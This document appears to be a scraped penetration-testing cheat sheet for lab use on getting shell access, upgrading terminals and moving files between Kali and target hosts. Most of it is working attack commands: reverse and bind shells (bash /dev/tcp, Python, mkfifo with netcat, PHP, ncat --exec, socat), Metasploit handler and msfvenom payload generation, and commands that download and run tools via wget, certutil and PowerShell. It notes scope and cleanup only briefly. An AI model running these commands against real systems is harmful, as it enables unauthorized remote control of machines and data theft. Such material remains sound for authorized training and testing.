Observable output or side effect; no shell required
Valid credential and remote service
SSH, WinRM or RDP
Authentication plus remote-logon authorization
Target can reach Kali
Reverse shell
Target egress and a reachable Kali listener
Kali can reach a target listener
Bind shell
Target can bind and inbound path permits it
Payload is staged or protocol-aware
Matching framework handler
Handler must use the exact payload/transport
# Linux
id; hostname; pwd
Windows
REM Windows
whoami & hostname & cd
Linux
# Linux
hostname; id; pwd
ip addr; ip route
ss -lntup
Windows
REM Windows
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano
Client commands / example output
Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.
Traditional/OpenBSD-style nc commonly used on Kali
# Traditional/OpenBSD-style nc commonly used on Kali
rlwrap nc -lvnp LPORT
# Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag
ncat -4 -lvn 0.0.0.0 LPORT
# Verify the bind in another terminal
ss -lntp | grep ':LPORT'
# If multiple interfaces exist, bind deliberately
ncat -4 -lvn LHOST LPORT
Bash TCP
Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.
# Bash TCP
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
# Python 3 with a PTY
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
# Portable FIFO plus Netcat when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f
# PHP CLI
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# Linux
ncat LHOST LPORT --exec /bin/sh
Windows
REM Windows
ncat.exe LHOST LPORT --exec cmd.exe
--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.
Read / verify → Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.
If it fails → No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.
Use when: Windows execution or valid credentials with an available remote service
Needs: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route
Prefer an available authenticated service
# Prefer an available authenticated service
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET
PowerShell TCP shell when direct command execution is the only primitive
REM Invoke in the target command context
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE
Read / verify → Verify hostname, whoami /all and command behavior through the resulting channel.
If it fails → A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.
Use when: Reverse egress is unavailable but a target listener is reachable
Needs: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward
Traditional Netcat with -e support on a Linux target
Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.
# Traditional Netcat with -e support on a Linux target
nc -lvnp PORT -e /bin/sh
# Connect from Kali
nc -nv TARGET PORT
# FIFO alternative when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f
# Ncat target listener
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh
Read / verify → Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.
If it fails → A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.
# Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer
# Metasploit naming commonly reflects the distinction
windows/x64/shell_reverse_tcp stageless
windows/x64/shell/reverse_tcp staged
# A staged payload normally needs multi/handler configured with the exact same payload
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run
Only when an existing reviewed PoC documents payload space and bad characters
# Only when an existing reviewed PoC documents payload space and bad characters
msfvenom -p PAYLOAD_NAME \
LHOST=LHOST LPORT=LPORT \
-f FORMAT -v VARIABLE \
-b 'BAD_CHARACTERS' \
-s MAX_SPACE
Read / verify → Check artifact format/hash and actual session identity; generation success is not execution proof.
If it fails → Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.
Use when: A working shell lacks job control, terminal signals or interactive program support
Needs: A working channel and available PTY mechanism; correct local-terminal control sequence
First obtain a PTY with an available interpreter
# First obtain a PTY with an available interpreter
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl-Z locally, then
stty raw -echo; fg
# Back in the remote shell
reset
export TERM=xterm-256color
stty rows 40 columns 120
# If the local terminal becomes unreadable, restore it from a separate/local shell
stty sane
# Socat can provide a stronger PTY when present on both sides
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr
# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.
Read / verify → Check tty, signal handling and an interactive program; confirm the same identity remains.
If it fails → A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.
Use when: A tool/artifact must reach a target that can make an HTTP request
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination
Shell commands
On Kali, serve the directory containing linpeas.sh:
# Baseline
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0
# On the Linux target, download into a writable directory and run it
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
# Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools
# Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE
Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.
Run inside PowerShell
# Run inside PowerShell
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"
Windows target with PowerShell
REM Windows target with PowerShell
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"
Windows alternatives
# Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')
Windows alternatives
REM Windows alternatives
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE
REM Windows alternatives
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE
On Kali or Linux
Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.
On Kali or Linux:
# On Kali or Linux
sha256sum FILE
sha256sum /tmp/FILE
On Windows
# On Windows
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"
Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.
Read / verify → Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.
If it fails → No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.
# Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE
# Run from Kali when the target's SSH service is reachable
scp USER@TARGET:/path/to/FILE ./FILE
# SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE
If it fails → Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.
Use when: A Windows source can reach a temporary assessment-side SMB service
Needs: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials
Start an authenticated SMB share on Kali
# Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
# Some installations expose the legacy wrapper name
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
Connect and download from Windows
REM Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE
REM Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete
Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.
Read / verify → Verify source/destination hash and the share path; disconnect created mappings after use.
If it fails → No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.
Use when: Only a raw TCP tool and a direct or forwarded connection are available
Needs: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file
Kali receives
# Kali receives
nc -lvnp PORT > FILE
# The target sends
nc -nv LHOST PORT < /path/to/FILE
# The target receives
nc -lvnp PORT > /tmp/FILE
# Kali sends
nc -nv TARGET PORT < FILE
# If the listener rejects -p, use the OpenBSD-style form and check nc -h locally
nc -lvn PORT > FILE
Read / verify → Compare hashes and avoid mixing diagnostic text into the file stream.
If it fails → A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.
Use when: The target has an FTP client and simpler transfer routes are unavailable
Needs: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode
On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment
# On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment
python3 -m pyftpdlib -p PORT
On the target
# On the target
ftp LHOST PORT
binary
get FILE
put FILE
quit
The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.
Read / verify → Compare bytes and stop the temporary server after its purpose is complete.
If it fails → A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.